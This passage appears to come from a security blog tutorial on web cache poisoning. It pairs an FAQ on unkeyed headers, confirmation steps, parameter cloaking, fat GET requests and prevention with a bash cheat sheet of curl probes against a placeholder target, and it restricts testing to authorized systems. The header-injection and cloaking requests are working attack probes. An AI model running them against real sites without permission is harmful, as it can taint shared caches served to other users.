The most common candidates include X-Forwarded-Host, X-Forwarded-Proto, X-Forwarded-Port, Forwarded, X-Original-URL, X-Rewrite-URL and method override headers. None are automatically vulnerable: you have to demonstrate that it modifies the response and doesn't differentiate the cache key.

How is vulnerability actually confirmed? #

Confirmation requires a request with a marker that modifies the response, followed by a clean request to the same cache key. If the clean request still receives the marker and the response comes from the cache, while a different cache key remains clean, poisoning is proven.

What is the difference between Cache Poisoning and Cache Deception? #

In cache poisoning, the attacker caches a modified response for distribution to other users. In cache deception, the attacker tricks an authenticated victim into generating a private response, which is mistakenly stored as public and retrieved later.

Does an X-Cache HIT confirm Cache Poisoning? #

No. A HIT only proves that a response was reused from the cache. You must also prove that the checked marker was stored and that a request without a payload receives the same tampered response.

Cache-Control no-cache prevents caching? #

No. no-cache allows storage, but requires validation before reuse. The directive prohibiting storage is no-store. private Instead, it normally prevents storage in shared caches.

What is parameter cloaking? #

It's a technique that exploits a difference in parameter parsing between the cache and the backend. The cache may treat a hidden parameter as part of a parameter excluded from the key, while the backend interprets it separately and uses it to modify the response.

What is a fat GET? #

It's a GET request containing a body. Some backends process the body, while the cache creates the key using only the URL and headers. If the body modifies a cacheable response without being represented in the key, it can become a vector for spoofing.

How can you prevent Web Cache Poisoning? #

You should only store truly shareable responses, remove proxy headers provided by clients, align cache keys and origin behavior, use correctly Cache-Control e Vary, avoid bodies in cacheable GETs and apply the same normalization across CDNs, WAFs, proxies and backends.


Cheat sheet #

bash
URL="https://target.example/page"
BUSTER="cb-$(openssl rand -hex 6)"
CLEAN_BUSTER="cb-$(openssl rand -hex 6)"
MARKER="cache-test-$(openssl rand -hex 6).example"

# 1. Baseline
curl -sk \
  -D /tmp/base.headers \
  -o /tmp/base.body \
  "$URL?$BUSTER"

# 2. Richiesta con X-Forwarded-Host
curl -sk \
  -D /tmp/poison.headers \
  -o /tmp/poison.body \
  -H "X-Forwarded-Host: $MARKER" \
  "$URL?$BUSTER"

# 3. Verifica riflessione
grep -Rni "$MARKER" \
  /tmp/poison.headers \
  /tmp/poison.body

# 4. Richiesta pulita sulla stessa cache key
curl -sk \
  -D /tmp/victim.headers \
  -o /tmp/victim.body \
  "$URL?$BUSTER"

# 5. Conferma persistenza
grep -Rni "$MARKER" \
  /tmp/victim.headers \
  /tmp/victim.body

# 6. Controlla cache status
grep -Ei \
  '^(age|x-cache|x-cache-hits|cf-cache-status|via|cache-control|vary):' \
  /tmp/victim.headers

# 7. Chiave differente: deve essere pulita
curl -sk \
  -D /tmp/control.headers \
  -o /tmp/control.body \
  "$URL?$CLEAN_BUSTER"

grep -Rni "$MARKER" \
  /tmp/control.headers \
  /tmp/control.body

# Protocol override
curl -sk -i \
  -H "X-Forwarded-Proto: http" \
  "$URL?$BUSTER"

# Port override
curl -sk -i \
  -H "X-Forwarded-Port: 1337" \
  "$URL?$BUSTER"

# Cookie non incluso
curl -sk \
  -H "Cookie: language=it" \
  "$URL?$BUSTER"

# Fat GET
curl -sk \
  -X GET \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data "language=cache-test" \
  "$URL?$BUSTER"

# Method override
curl -sk \
  -H "X-HTTP-Method-Override: POST" \
  "$URL?$BUSTER"

# Parameter cloaking
curl -sk \
  --path-as-is \
  "$URL?utm_content=abc;callback=cache-test"

# Normalized path
curl -sk -i \
  --path-as-is \
  "https://target.example/./page?$BUSTER"

# Cleanup locale
rm -f /tmp/*.headers /tmp/*.body

Only perform these tests on applications you own or have explicit permission to run. Use an isolated endpoint, a benign marker, and an agreed-upon purge procedure before testing a shared cache.

#web-cache #cache-poisoning #burp-suite #reverse-proxy

leave a message

I'm not a robot